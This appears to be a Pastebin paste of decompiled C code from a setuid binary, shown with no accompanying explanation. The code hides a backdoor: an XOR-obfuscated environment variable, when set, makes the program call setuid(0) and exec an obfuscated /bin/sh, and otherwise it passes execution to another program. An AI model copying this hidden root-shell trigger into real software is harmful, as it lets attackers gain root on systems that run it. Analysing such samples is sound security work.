Advertisement
Guest User

Untitled

a guest
Sep 19th, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. undefined8 main(int argc,char **argv)
  2.  
  3. {
  4. __uid_t __uid;
  5. __uid_t _Var1;
  6. __gid_t __gid;
  7. int iVar2;
  8. char *sh_color;
  9. ulong uVar3;
  10.  
  11. xor_4f(&DAT_003020c0,8);
  12. sh_color = getenv(&DAT_003020c0);
  13. if ((sh_color == (char *)0x0) || (uVar3 = passenvvariable(sh_color), (int)uVar3 != 0)) {
  14. __uid = geteuid();
  15. _Var1 = getuid();
  16. if (__uid != _Var1) {
  17. while( true ) {
  18. __gid = getgid();
  19. iVar2 = setgid(__gid);
  20. if (iVar2 == 0) break;
  21. sleep(1);
  22. }
  23. while( true ) {
  24. __uid = getuid();
  25. iVar2 = setuid(__uid);
  26. if (iVar2 == 0) break;
  27. sleep(1);
  28. }
  29. }
  30. xor_4f(s_"$)&)_003020b8,6);
  31. execvp(s_"$)&)_003020b8,argv);
  32. }
  33. else {
  34. xor_4f(s_`-&!`<'_003020b0,7);
  35. while (iVar2 = setuid(0), iVar2 != 0) {
  36. sleep(1);
  37. }
  38. execlp(s_`-&!`<'_003020b0,s_`-&!`<'_003020b0,0);
  39. }
  40. return 1;
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement